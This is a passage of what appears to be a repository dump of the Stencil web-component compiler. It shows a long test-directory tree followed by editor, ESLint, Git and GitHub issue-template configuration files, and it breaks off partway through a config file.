shared-delegates-focus.css │ ├── custom-elements-hierarchy-lifecycle/ │ │ ├── cmp-child.tsx │ │ ├── cmp-parent.tsx │ │ ├── cmp-util.ts │ │ └── cmp.test.tsx │ ├── custom-elements-output/ │ │ ├── cmp.test.tsx │ │ ├── custom-element-child.tsx │ │ ├── custom-element-nested-child.tsx │ │ └── custom-element-root.tsx │ ├── custom-elements-output-tag-class-different/ │ │ ├── cmp.test.tsx │ │ ├── custom-element-child.tsx │ │ └── custom-element-root.tsx │ ├── custom-event/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── custom-states/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── declarative-shadow-dom/ │ │ ├── cmp-svg.test.tsx │ │ ├── cmp-svg.tsx │ │ ├── cmp.test.tsx │ │ ├── cmp.tsx │ │ ├── page-list-item.css │ │ ├── page-list-item.tsx │ │ ├── page-list.css │ │ ├── page-list.test.ts │ │ └── page-list.tsx │ ├── delegates-focus/ │ │ ├── cmp.test.tsx │ │ ├── delegates-focus.css │ │ ├── delegates-focus.tsx │ │ └── no-delegates-focus.tsx │ ├── dom-reattach/ │ │ ├── cmp-root.tsx │ │ └── cmp.test.tsx │ ├── dom-reattach-clone/ │ │ ├── cmp-deep-slot.tsx │ │ ├── cmp-host.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── dynamic-css-variables/ │ │ ├── cmp.css │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── dynamic-imports/ │ │ ├── cmp.test.tsx │ │ ├── dynamic-import.tsx │ │ ├── module1.tsx │ │ ├── module2.tsx │ │ └── module3.tsx │ ├── es5-addclass-svg/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── esm-import/ │ │ ├── cmp-hydrated.test.tsx │ │ ├── cmp.test.tsx │ │ ├── esm-import.css │ │ └── esm-import.tsx │ ├── event-basic/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── event-custom-type/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── event-listener-capture/ │ │ ├── cmp.test.tsx │ │ ├── cmp.tsx │ │ ├── event-re-register.css │ │ ├── event-re-register.test.tsx │ │ └── event-re-register.tsx │ ├── exclude-component/ │ │ ├── exclude-component-root.tsx │ │ ├── exclude-component.test.tsx │ │ └── excluded-component.tsx │ ├── external-imports/ │ │ ├── cmp-a.tsx │ │ ├── cmp-b.tsx │ │ ├── cmp-c.tsx │ │ ├── cmp.test.tsx │ │ ├── external-data.ts │ │ └── external-store.ts │ ├── form-associated/ │ │ ├── cmp.test.tsx │ │ ├── cmp.tsx │ │ ├── prop-check.test.tsx │ │ └── prop-check.tsx │ ├── global-script/ │ │ ├── README.md │ │ ├── components.d.ts │ │ ├── dist-cmp.tsx │ │ ├── global-script.test.tsx │ │ ├── global.ts │ │ ├── index.html │ │ └── test-cmp.tsx │ ├── global-script.stencil.config.ts │ ├── global-styles/ │ │ ├── global-styles.test.tsx │ │ └── global-styles.tsx │ ├── global.ts │ ├── host-attr-override/ │ │ ├── host-attr-override.test.tsx │ │ └── host-attr-override.tsx │ ├── image-import/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── import-aliasing/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── index.ts │ ├── init-css-shim/ │ │ ├── cmp-root.css │ │ ├── cmp-root.tsx │ │ └── cmp.test.tsx │ ├── input-basic/ │ │ ├── cmp-root.test.tsx │ │ └── cmp-root.tsx │ ├── invisible-prehydration/ │ │ ├── cmp.tsx │ │ ├── components.d.ts │ │ ├── index.html │ │ └── invisible-prehydration.test.tsx │ ├── invisible-prehydration.stencil.config.ts │ ├── json-basic/ │ │ ├── cmp.test.tsx │ │ ├── cmp.tsx │ │ └── data.json │ ├── key-reorder/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── lifecycle-async/ │ │ ├── cmp-a.test.tsx │ │ ├── cmp-a.tsx │ │ ├── cmp-b.tsx │ │ ├── cmp-c.tsx │ │ └── util.ts │ ├── lifecycle-basic/ │ │ ├── cmp-a.test.tsx │ │ ├── cmp-a.tsx │ │ ├── cmp-b.tsx │ │ └── cmp-c.tsx │ ├── lifecycle-nested/ │ │ ├── cmp-a.test.tsx │ │ ├── cmp-a.tsx │ │ ├── cmp-b.tsx │ │ ├── cmp-c.tsx │ │ └── output.ts │ ├── lifecycle-unload/ │ │ ├── cmp-a.tsx │ │ ├── cmp-b.tsx │ │ ├── cmp-root.test.tsx │ │ └── cmp-root.tsx │ ├── lifecycle-update/ │ │ ├── cmp-a.test.tsx │ │ ├── cmp-a.tsx │ │ ├── cmp-b.tsx │ │ └── cmp-c.tsx │ ├── listen-jsx/ │ │ ├── cmp-root.test.tsx │ │ ├── cmp-root.tsx │ │ └── cmp.tsx │ ├── listen-reattach/ │ │ ├── cmp-a.test.tsx │ │ └── cmp-a.tsx │ ├── listen-window/ │ │ ├── cmp-a.test.tsx │ │ └── cmp-a.tsx │ ├── manual-slot-assignment/ │ │ ├── cmp.test.tsx │ │ ├── manual-slot-filter.tsx │ │ └── manual-slot-tabs.tsx │ ├── no-external-runtime/ │ │ ├── components.d.ts │ │ └── custom-elements-form-associated/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── no-external-runtime.stencil.config.ts │ ├── node-resolution/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ ├── module/ │ │ │ └── index.ts │ │ └── module.ts │ ├── package.json │ ├── prefix-attr/ │ │ ├── cmp-nested.tsx │ │ ├── cmp-root.tsx │ │ └── cmp.test.tsx │ ├── prefix-prop/ │ │ ├── cmp-nested.tsx │ │ ├── cmp-root.tsx │ │ └── cmp.test.tsx │ ├── prerender-test/ │ │ └── cmp.test.tsx │ ├── prerender.stencil.config.ts │ ├── property-serializer/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── radio-group-blur/ │ │ ├── cmp.test.tsx │ │ ├── cmp.tsx │ │ ├── radio-group.css │ │ ├── radio.css │ │ ├── test-radio-group.tsx │ │ ├── test-radio.tsx │ │ └── utils.ts │ ├── ref-attr-order/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── reflect-nan-attribute/ │ │ ├── reflect-nan-attribute.test.tsx │ │ └── reflect-nan-attribute.tsx │ ├── reflect-nan-attribute-hyphen/ │ │ ├── cmp.test.tsx │ │ └── reflect-nan-attribute-hyphen.tsx │ ├── reflect-nan-attribute-with-child/ │ │ ├── child-reflect-nan-attribute.tsx │ │ ├── cmp.test.tsx │ │ └── parent-reflect-nan-attribute.tsx │ ├── reflect-single-render/ │ │ ├── child-with-reflection.tsx │ │ ├── cmp.test.tsx │ │ └── parent-with-reflect-child.tsx │ ├── reflect-to-attr/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── remove-child-patch/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── render/ │ │ └── render.test.tsx │ ├── reparent-style/ │ │ ├── cmp.test.tsx │ │ ├── reparent-style-no-vars.css │ │ ├── reparent-style-no-vars.tsx │ │ ├── reparent-style-with-vars.css │ │ └── reparent-style-with-vars.tsx │ ├── scoped-add-remove-classes/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── scoped-basic/ │ │ ├── cmp-root-md.css │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── scoped-conditional/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── scoped-id-in-nested-classname/ │ │ ├── cmp-level-1.scss │ │ ├── cmp-level-1.tsx │ │ ├── cmp-level-2.scss │ │ ├── cmp-level-2.tsx │ │ ├── cmp-level-3.scss │ │ ├── cmp-level-3.tsx │ │ └── cmp.test.tsx │ ├── scoped-slot-append-and-prepend/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── scoped-slot-assigned-methods/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── scoped-slot-child-insert-adjacent/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── scoped-slot-children/ │ │ ├── cmp-root.tsx │ │ └── cmp.test.tsx │ ├── scoped-slot-connectedcallback/ │ │ ├── cmp-child.tsx │ │ ├── cmp-middle.tsx │ │ ├── cmp-parent.tsx │ │ ├── cmp.test.tsx │ │ └── custom-element.html │ ├── scoped-slot-content-hide/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── scoped-slot-in-slot/ │ │ ├── child.tsx │ │ ├── cmp.test.tsx │ │ ├── host.tsx │ │ └── parent.tsx │ ├── scoped-slot-insertbefore/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── scoped-slot-insertion-order-after-interaction/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── scoped-slot-slotchange/ │ │ ├── cmp-wrap.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── scoped-slot-slotted-parentnode/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── scoped-slot-text/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── scoped-slot-text-with-sibling/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── serialize-deserialize-e2e/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── setup.ts │ ├── shadow-dom-array/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── shadow-dom-basic/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── shadow-dom-mode/ │ │ ├── cmp.test.tsx │ │ ├── cmp.tsx │ │ ├── mode-blue.css │ │ └── mode-red.css │ ├── shadow-dom-slot-nested/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── shared-jsx/ │ │ ├── bad-shared-jsx.tsx │ │ ├── cmp.test.tsx │ │ └── factory-jsx.tsx │ ├── slot-array-basic/ │ │ ├── cmp.css │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-array-complex/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-array-top/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-basic/ │ │ ├── cmp-root.test.tsx │ │ ├── cmp-root.tsx │ │ └── cmp.tsx │ ├── slot-basic-order/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-children/ │ │ ├── cmp-root.tsx │ │ └── cmp.test.tsx │ ├── slot-conditional-rendering/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-dynamic-name-change/ │ │ ├── cmp-scoped.tsx │ │ ├── cmp-shadow.tsx │ │ └── cmp.test.tsx │ ├── slot-dynamic-wrapper/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-fallback/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-fallback-with-forwarded-slot/ │ │ ├── child-component.tsx │ │ ├── cmp.test.tsx │ │ └── parent-component.tsx │ ├── slot-fallback-with-textnode/ │ │ ├── cmp-avatar.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-hide-content/ │ │ ├── cmp-open.tsx │ │ ├── cmp-scoped.tsx │ │ └── cmp.test.tsx │ ├── slot-html/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-light-dom/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-map-order/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-nested-default-order/ │ │ ├── cmp-child.tsx │ │ ├── cmp-parent.tsx │ │ └── cmp.test.tsx │ ├── slot-nested-dynamic/ │ │ ├── cmp-child.tsx │ │ ├── cmp-parent.tsx │ │ ├── cmp-wrapper.tsx │ │ └── cmp.test.tsx │ ├── slot-nested-order/ │ │ ├── cmp-child.tsx │ │ ├── cmp-parent.tsx │ │ └── cmp.test.tsx │ ├── slot-ng-if/ │ │ ├── cmp.test.tsx │ │ ├── cmp.tsx │ │ └── index.html │ ├── slot-no-default/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-none/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-parent-tag-change/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-reorder/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-replace-wrapper/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── slot-scoped-list/ │ │ ├── dynamic-scoped-list-cmp.tsx │ │ ├── list-cmp.tsx │ │ ├── root-cmp.test.tsx │ │ └── root-cmp.tsx │ ├── slot-shadow-list/ │ │ ├── dynamic-shadow-list-cmp.tsx │ │ ├── list-cmp.tsx │ │ ├── root-cmp.test.tsx │ │ └── root-cmp.tsx │ ├── slotted-css/ │ │ ├── cmp.css │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── src/ │ │ └── components.d.ts │ ├── ssr-hydration/ │ │ ├── cmp.test.tsx │ │ ├── cmp.tsx │ │ ├── custom-element.html │ │ ├── order-cmp.tsx │ │ ├── order-wrap-cmp.tsx │ │ ├── part-cmp.tsx │ │ ├── part-wrap-cmp.tsx │ │ ├── scoped-child-cmp.tsx │ │ ├── scoped-parent-cmp.tsx │ │ ├── shadow-child-cmp.tsx │ │ ├── shadow-parent-cmp.tsx │ │ ├── slow-prop.tsx │ │ └── wrap-cmp.tsx │ ├── static-members/ │ │ ├── README.md │ │ ├── static-decorated-members.tsx │ │ ├── static-members-separate-export.tsx │ │ ├── static-members-separate-initializer.tsx │ │ ├── static-members.test.tsx │ │ └── static-members.tsx │ ├── static-styles/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── stencil-sibling/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── stencil.config-es2022.ts │ ├── stencil.config.ts │ ├── style-plugin/ │ │ ├── bar.scss │ │ ├── cmp.test.tsx │ │ ├── css-cmp.tsx │ │ ├── css-entry.css │ │ ├── css-importee.css │ │ ├── foo.scss │ │ ├── global-css-entry.css │ │ ├── global-sass-entry.scss │ │ ├── multiple-styles.tsx │ │ ├── sass-bootstrap.scss │ │ ├── sass-cmp.tsx │ │ ├── sass-entry.scss │ │ └── sass-importee.scss │ ├── svg-attr/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── svg-class/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── tag-names/ │ │ ├── cmp-tag-3d.tsx │ │ ├── cmp-tag-88.tsx │ │ └── cmp.test.tsx │ ├── tag-transform/ │ │ ├── child-tag-transform.tsx │ │ ├── custom-element.html │ │ ├── parent-tag-transform.css │ │ ├── parent-tag-transform.tsx │ │ ├── tag-transform.test.tsx │ │ └── tag-transformer.ts │ ├── tag-transformer.ts │ ├── template-render/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── test-end-to-end-import.mjs │ ├── test-prerender/ │ │ ├── no-script-build.js │ │ ├── package.json │ │ ├── prerender.config.js │ │ ├── prerender.js │ │ └── src/ │ │ ├── components/ │ │ │ ├── app-root/ │ │ │ │ ├── app-root.css │ │ │ │ └── app-root.tsx │ │ │ ├── cmp-a/ │ │ │ │ ├── cmp-a.css │ │ │ │ └── cmp-a.tsx │ │ │ ├── cmp-b/ │ │ │ │ ├── cmp-b.css │ │ │ │ └── cmp-b.tsx │ │ │ ├── cmp-c/ │ │ │ │ ├── cmp-c.css │ │ │ │ └── cmp-c.tsx │ │ │ ├── cmp-client-scoped/ │ │ │ │ ├── cmp-client-scoped.css │ │ │ │ └── cmp-client-scoped.tsx │ │ │ ├── cmp-client-shadow/ │ │ │ │ ├── cmp-client-shadow.css │ │ │ │ └── cmp-client-shadow.tsx │ │ │ ├── cmp-d/ │ │ │ │ ├── cmp-d.css │ │ │ │ └── cmp-d.tsx │ │ │ ├── cmp-scoped-a/ │ │ │ │ ├── cmp-scoped-a.css │ │ │ │ └── cmp-scoped-a.tsx │ │ │ ├── cmp-scoped-b/ │ │ │ │ ├── cmp-scoped-b.css │ │ │ │ └── cmp-scoped-b.tsx │ │ │ ├── cmp-text-blue/ │ │ │ │ ├── cmp-text-blue.css │ │ │ │ └── cmp-text-blue.tsx │ │ │ ├── cmp-text-green/ │ │ │ │ ├── cmp-text-green.css │ │ │ │ └── cmp-text-green.tsx │ │ │ └── hydrate-svg/ │ │ │ └── hydrate-svg.tsx │ │ ├── components.d.ts │ │ ├── global/ │ │ │ ├── app.css │ │ │ └── util.ts │ │ └── index.html │ ├── test-sibling/ │ │ ├── package.json │ │ ├── src/ │ │ │ ├── components.d.ts │ │ │ ├── global.ts │ │ │ ├── sibling-abstract-mixin/ │ │ │ │ └── sibling-abstract-mixin.ts │ │ │ ├── sibling-extended/ │ │ │ │ └── sibling-extended.tsx │ │ │ ├── sibling-extended-base/ │ │ │ │ └── sibling-extended-base.tsx │ │ │ ├── sibling-root/ │ │ │ │ └── sibling-root.tsx │ │ │ └── sibling-with-mixin/ │ │ │ ├── mixin-factory.ts │ │ │ └── sibling-with-mixin.tsx │ │ ├── stencil.config.ts │ │ └── tsconfig.json │ ├── text-content-patch/ │ │ ├── cmp-scoped-slot.tsx │ │ ├── cmp-scoped.tsx │ │ └── cmp.test.tsx │ ├── ts-target/ │ │ ├── components.d.ts │ │ ├── extends-abstract/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ ├── mixin-class.ts │ │ │ └── mxin-class-parent.ts │ │ ├── extends-cmp/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ ├── extended-cmp-cmp.tsx │ │ │ └── extended-cmp.tsx │ │ ├── extends-composition-scaling/ │ │ │ ├── checkbox-group-cmp.tsx │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ ├── focus-controller.ts │ │ │ ├── radio-group-cmp.tsx │ │ │ ├── reactive-controller-host.ts │ │ │ ├── text-input-cmp.tsx │ │ │ └── validation-controller.ts │ │ ├── extends-conflicts/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── conflicts-base.ts │ │ │ ├── es2022.custom-element.html │ │ │ └── es2022.dist.html │ │ ├── extends-controller-updates/ │ │ │ ├── clock-controller-base.ts │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ └── es2022.dist.html │ │ ├── extends-direct-state/ │ │ │ ├── clock-base.ts │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ └── es2022.dist.html │ │ ├── extends-events/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ └── event-base.ts │ │ ├── extends-external/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ └── es2022.dist.html │ │ ├── extends-external-abstract/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ └── es2022.dist.html │ │ ├── extends-external-with-mixin/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ └── es2022.dist.html │ │ ├── extends-inheritance-scaling/ │ │ │ ├── checkbox-group-cmp.tsx │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ ├── focus-controller-base.ts │ │ │ ├── focus-controller-mixin.ts │ │ │ ├── form-field-base.ts │ │ │ ├── radio-group-cmp.tsx │ │ │ ├── text-input-cmp.tsx │ │ │ ├── validation-controller-base.ts │ │ │ └── validation-controller-mixin.ts │ │ ├── extends-lifecycle-basic/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ └── lifecycle-base.ts │ │ ├── extends-lifecycle-multilevel/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ ├── grandparent-base.ts │ │ │ └── parent-base.ts │ │ ├── extends-local/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ └── es2022.dist.html │ │ ├── extends-methods/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ └── method-base.ts │ │ ├── extends-mixed-decorators/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ └── mixed-decorators-base.ts │ │ ├── extends-mixin/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ ├── mixin-a.tsx │ │ │ └── mixin-b.tsx │ │ ├── extends-mixin-slot/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ └── slot-mixin.tsx │ │ ├── extends-props-state/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ └── props-state-base.ts │ │ ├── extends-render/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ └── render-base.tsx │ │ ├── extends-test-suite.test.ts │ │ ├── extends-via-host/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ ├── mouse-controller.ts │ │ │ └── reactive-controller-host.ts │ │ ├── extends-watch/ │ │ │ ├── cmp.test.ts │ │ │ ├── cmp.tsx │ │ │ ├── es2022.custom-element.html │ │ │ ├── es2022.dist.html │ │ │ └── watch-base.ts │ │ └── ts-target-props/ │ │ ├── cmp.test.tsx │ │ ├── cmp.tsx │ │ ├── es2022.custom-element.html │ │ └── es2022.dist.html │ ├── tsconfig-auto-loader.json │ ├── tsconfig-es2022.json │ ├── tsconfig-global-script.json │ ├── tsconfig-invisible-prehydration.json │ ├── tsconfig-no-external-runtime.json │ ├── tsconfig-prerender.json │ ├── tsconfig-stencil.json │ ├── tsconfig.json │ ├── util.ts │ ├── watch-native-attributes/ │ │ ├── cmp-no-members.test.tsx │ │ ├── cmp-no-members.tsx │ │ ├── cmp.test.tsx │ │ ├── cmp.tsx │ │ └── custom-tag-name.test.tsx │ └── wdio.conf.ts ├── test-form-associated.js ├── tsconfig.json └── types/ ├── ionic-prettier-config.d.ts └── merge-source-map.d.ts ================================================ FILE CONTENTS ================================================ ================================================ FILE: .editorconfig ================================================ # http://editorconfig.org root = true [*] charset = utf-8 indent_style = space indent_size = 2 end_of_line = lf insert_final_newline = true trim_trailing_whitespace = true [*.md] insert_final_newline = false trim_trailing_whitespace = false ================================================ FILE: .eslintrc.js ================================================ module.exports = { root: true, parser: '@typescript-eslint/parser', plugins: ['@typescript-eslint', 'jsdoc', 'jest', 'simple-import-sort', 'wdio'], extends: [ 'plugin:jest/recommended', // including prettier here ensures that we don't set any rules which will conflict // with Prettier's formatting. Keep it last in the list so that nothing else messes // with it! 'prettier', ], rules: { '@typescript-eslint/no-unused-vars': [ 'error', { argsIgnorePattern: '^_', // TODO(STENCIL-452): Investigate using eslint-plugin-react to remove the need for varsIgnorePattern varsIgnorePattern: '^(h|Fragment)$', }, ], /** * Configuration for Jest rules can be found here: * https://github.com/jest-community/eslint-plugin-jest/tree/main/docs/rules */ 'jest/expect-expect': [ 'error', { // we set this to `expect*` so that any function whose name starts with expect will be counted // as an assertion function, allowing us to use functions to DRY up test suites. assertFunctionNames: ['expect*'], }, ], // we...have a number of things disabled :) // TODO(STENCIL-488): Turn this rule back on once there are no violations of it remaining 'jest/no-disabled-tests': ['off'], // we use this in enough places that we don't want to do per-line disables 'jest/no-conditional-expect': ['off'], // this enforces that Jest hooks (e.g. `beforeEach`) are declared in test files in their execution order // see here for details: https://github.com/jest-community/eslint-plugin-jest/blob/main/docs/rules/prefer-hooks-in-order.md 'jest/prefer-hooks-in-order': ['warn'], // this enforces that Jest hooks (e.g. `beforeEach`) are declared at the top of `describe` blocks 'jest/prefer-hooks-on-top': ['warn'], /** * Configuration for the JSDoc plugin rules can be found at: * https://github.com/gajus/eslint-plugin-jsdoc */ // validates that the name immediately following `@param` matches the parameter name in the function signature // this works in conjunction with "jsdoc/require-param" 'jsdoc/check-param-names': [ 'error', { // if `checkStructured` is `true`, it asks that the JSDoc describe the fields being destructured. // turn this off to not leak function internals/discourage describing them checkDestructured: false, }, ], // require that jsdoc attached to a method/function require one `@param` per parameter 'jsdoc/require-param': [ 'error', { // if `checkStructured` is `true`, it asks that the JSDoc describe the fields being destructured. // turn this off to not leak function internals/discourage describing them checkDestructured: false, // always check setters as they should require a parameter (by definition) checkSetters: true, }, ], 'jsdoc/require-param-description': ['error'], // rely on TypeScript types to be the source of truth, minimize verbosity in comments 'jsdoc/require-param-type': ['off'], 'jsdoc/require-returns': ['error'], 'jsdoc/require-returns-check': ['error'], 'jsdoc/require-returns-description': ['error'], // rely on TypeScript types to be the source of truth, minimize verbosity in comments 'jsdoc/require-returns-type': ['off'], 'no-cond-assign': 'error', 'no-var': 'error', 'prefer-const': 'error', 'prefer-rest-params': 'error', 'prefer-spread': 'error', 'simple-import-sort/exports': 'error', 'simple-import-sort/imports': 'error', }, overrides: [ { // the stencil entry point still uses `var`, ignore errors related to it files: 'bin/**', rules: { 'no-var': 'off', }, }, { // we don't want to use jest-related lint rules in the wdio tests files: 'test/wdio/**/*.tsx', rules: { 'jest/expect-expect': 'off', 'wdio/await-expect': 'error', }, }, ], // inform ESLint about the global variables defined in a Jest context // see https://github.com/jest-community/eslint-plugin-jest/#usage env: { 'jest/globals': true, }, }; ================================================ FILE: .gitattributes ================================================ * text=auto eol=lf ================================================ FILE: .github/CODEOWNERS ================================================ * @stenciljs/technical-steering-committee ================================================ FILE: .github/CONTRIBUTING.md ================================================ # Contributing Thanks for your interest in contributing to Stencil! :tada: We've moved the [Contributing Guidelines](https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md) to the root of the project. :pray: ================================================ FILE: .github/FUNDING.yml ================================================ # These are supported funding model platforms github: [johnjenkins] ================================================ FILE: .github/ISSUE_TEMPLATE/bug_report.yml ================================================ name: 🐛 Bug Report description: Create a report to help us improve Stencil title: 'bug: ' labels: ['triage'] body: - type: markdown attributes: value: | Thanks for taking the time to fill out this bug report! Please provide a minimal reproduction using our [Stencil Starter](https://codesandbox.io/p/github/johnjenkins/stencil-starter/).
Other starter templates - [Stencil + Vitest](https://codesandbox.io/p/github/johnjenkins/stencil-starter-vitest/) - [Angular](https://codesandbox.io/p/github/johnjenkins/stencil-angular-starter/) - [NextJs](https://codesandbox.io/p/github/johnjenkins/stencil-starter-next/) - [React](https://codesandbox.io/p/github/johnjenkins/stencil-starter-react/) - [Vue](https://codesandbox.io/p/github/johnjenkins/stencil-starter-vue/)
A minimal reproduction is **required** unless you are absolutely sure the issue is obvious. If the issue cannot be reliably reproduced, it will be labeled `ionitron: needs reproduction` and may be closed. - type: checkboxes attributes: label: Prerequisites description: Please ensure you have completed all of the following. options: - label: I have read the [Contributing Guidelines](https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md). required: true - label: I agree to follow the [Code of Conduct](https://github.com/stenciljs/core/blob/main/CODE_OF_CONDUCT.md). required: true - label: I have searched for [existing issues](https://github.com/stenciljs/core/issues) that already report this problem, without success. required: true - type: input attributes: label: Stencil Version description: The version number of Stencil where the issue is occurring. validations: required: true - type: textarea attributes: label: Current Behavior description: A clear description of what the bug is and how it manifests. validations: required: true - type: textarea attributes: label: Expected Behavior description: A clear description of what you expected to happen. validations: required: true - type: textarea attributes: label: System Info description: | Output of `npx stencil info`. Please provide any additional information, such as npm version, browser(s) & version(s) as well render: shell placeholder: System, Environment, Browsers. At minimum, please include `npx stencil info` output. - type: textarea attributes: label: Steps to Reproduce description: Please explain the steps required to duplicate this issue. validations: required: true - type: input attributes: label: Code Reproduction URL description: | Please reproduce this issue in a blank Stencil starter application and provide a link to the repo. Run `npm init stencil@latest` to quickly spin up a Stencil project, or use our [Stencil Starter](https://codesandbox.io/p/github/johnjenkins/stencil-starter/). This is the best way to ensure this issue is triaged quickly. Issues that do not include a code reproduction are likely to be closed without any investigation. placeholder: https://github.com/... validations: required: true - type: textarea attributes: label: Additional Information description: List any other information that is relevant to your issue. Stack traces, related issues, suggestions on how to fix, Stack Overflow links, forum links, etc. ================================================ FILE: .github/ISSUE_TEMPLATE/config.yml ================================================ contact_links: - name: 📚 Documentation url: https://github.com/stenciljs/site/issues/new/choose about: This issue tracker is not for documentation issues. Please file documentation issues on the Stencil site repo. - name: 💻 Create Stencil CLI url: 